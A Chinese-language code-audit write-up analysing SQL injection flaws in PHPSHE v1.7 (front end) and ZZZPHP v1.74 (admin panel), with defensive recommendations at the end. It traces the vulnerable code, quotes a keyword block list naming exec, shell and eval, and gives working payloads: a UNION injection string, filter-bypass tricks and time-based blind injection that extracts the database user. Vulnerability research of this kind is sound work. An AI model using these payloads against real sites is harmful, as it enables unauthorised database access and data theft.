代码审计之phpshev1.7前台注入和zzzphpv1.74后台sql注入
字数 1754 2025-08-15 21:32:31
PHPSHE v1.7前台SQL注入与ZZZPHP v1.74后台SQL注入代码审计分析
第一部分:PHPSHE v1.7前台SQL注入漏洞分析
1. 漏洞环境准备
- 环境配置:phpstudy2016 (Nginx+MySQL+PHP5.6.27)
- 审计工具:phpstorm + Seay源代码审计系统
- 目标版本:phpshe v1.7
2. 漏洞定位与分析
2.1 注入点定位
漏洞存在于/include/class/db.class.php文件第214行的pe_select函数:
public function pe_select($table, $where = '', $field = '*') {
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
}
该函数直接拼接$table参数到SQL语句中,存在SQL注入风险。
2.2 参数传递流程
- 入口文件
common.php会对GET/POST参数加上_g或_p前缀 - 使用
pe_stripslashes函数去除参数中的反斜杠(位于/include/function/global.func.php第455行)
2.3 关键过滤函数分析
在global.func.php中查找SQL过滤函数:
pe_dbhold()函数用于参数过滤order_table()函数用于获取订单对应表名
2.4 漏洞触发路径
- 文件路径:
/include/plugin/payment/alipay/pay.php - 关键代码:
$order_id = pe_dbhold($_g_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));
order_table函数逻辑:
function order_table($id) {
if (stripos($id, '_') !== false) {
$id_arr = explode('_', $id);
return "order_{$id_arr[0]}";
} else {
return "order";
}
}
3. 漏洞利用与Payload构造
最终执行的SQL语句格式:
select * from `pe_order_[可控部分]` where `order_id` = '[可控部分]' limit 1
构造Payload:
pay` where 1=1 union select 404404,2,3,4,5,6,7,8,9,10,11,12--+_#
说明:
pe_order_pay表有12个字段- 使用
--+注释掉后续语句 #确保语法正确
第二部分:ZZZPHP v1.74后台SQL注入漏洞分析
1. 环境准备
- 环境配置:phpstudy2016 (Nginx+MySQL+PHP5.6.27)
- 目标版本:zzzphp v1.7.4
- 操作系统:Windows 7
2. 漏洞定位与分析
2.1 注入点定位
漏洞位于/admin/index.php第9行:
switch ($module) {
case 'aboutlist':
break;
case 'content':
$sid=geturl('sid');
$cid=geturl('cid');
$stype=geturl('stype');
if($cid){
$data=db_load_sql_one('select *,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);
$GLOBALS['stype']=$data['s_type'];
$GLOBALS['sid']=$data['sid'];
2.2 关键函数分析
geturl()函数分析:
function geturl($name='') {
$s = $_SERVER['REQUEST_URI']; //获取URL
$s = danger_key($s); //过滤危险字符
$s = cright($s, 1) == '/' ? rtrim($s, '/') : $s;
$get = array();
$s = parse_url($s); //解析URL
$s = isset($s['query']) ? $s['query'] : '';
$arr = explode('/', $s); //使用/分割,说明不能使用/
$arr2 = array();
$i = 0;
$last = str_replace('&', '=', array_pop($arr)); //&符会被替换成=,不能使用&
if (strpos($last, '=') !== FALSE) {
$arr1 = explode('=', $last); //=不能使用
foreach ($arr1 as $key => $value) {
if ($key < count($arr1) - 1) $arr2[$value] = $arr1[$key + 1];
}
if($name!=''){
if(isset($arr2[$name])) return $arr2[$name];
}else{
return $arr2;
}
}else{
return '';
}
}
danger_key()过滤函数:
function danger_key($s) {
$danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','_');
$s = str_ireplace($danger,"*",$s);
$key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace');
foreach ($key as $val){
if(strpos($s,$val) !==false){
error('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
return $s;
}
2.3 SQL查询流程
/admin/index.php调用db_load_sql_one()/inc/zzz_db.php处理SQL语句/inc/zzz_db_mysql.php执行SQL查询
3. 漏洞利用与Payload构造
3.1 绕过限制技巧
ascii→ 使用ord代替=→ 使用<>或>,<- 空格 → 使用括号
()或注释/**/
3.2 时间盲注Payload
由于没有回显,使用时间盲注:
sleep(0.1*(ord(substr(user(),1,1))>65))
解释:
substr(user(),1,1)截取用户名第一个字符ord()获取字符的ASCII码- 如果ASCII码>65,sleep(0.1秒),否则不延迟
3.3 实际测试示例
- 测试Payload1:
sleep(0.1*(ord(substr(user(),1,1))>100))
- 测试Payload2:
sleep(0.1*(ord(substr(user(),1,1))<100))
3.4 自动化测试技巧
使用二分法逐步缩小ASCII码范围:
- 大于113有延迟,大于114无延迟 → ASCII码为114
- 最终确定用户名为"root"
第三部分:总结与防御建议
1. 漏洞总结
- PHPSHE v1.7漏洞:
- 前台SQL注入
- 根源:未过滤的
$table参数直接拼接 - 影响:可获取数据库敏感信息
- ZZZPHP v1.74漏洞:
- 后台SQL注入
- 根源:
cid参数未充分过滤 - 影响:管理员权限下的数据泄露
2. 防御建议
- 通用防御措施:
- 使用预处理语句(PDO/prepared statements)
- 严格过滤所有用户输入
- 最小权限原则配置数据库账户
- PHPSHE特定修复:
- 对
pe_select的$table参数进行白名单验证 - 使用参数化查询替代字符串拼接
- ZZZPHP特定修复:
- 加强
danger_key过滤函数 - 对数字型参数强制类型转换
- 使用框架提供的安全查询方法
3. 代码审计技巧
- 关键函数追踪:
- 查找SQL执行函数(如
query、select等) - 跟踪用户输入传递路径
- 过滤机制分析:
- 识别所有过滤函数
- 测试过滤规则的完整性
- 注入测试方法:
- 使用不同注入技术(联合查询、布尔盲注、时间盲注等)
- 逐步绕过过滤机制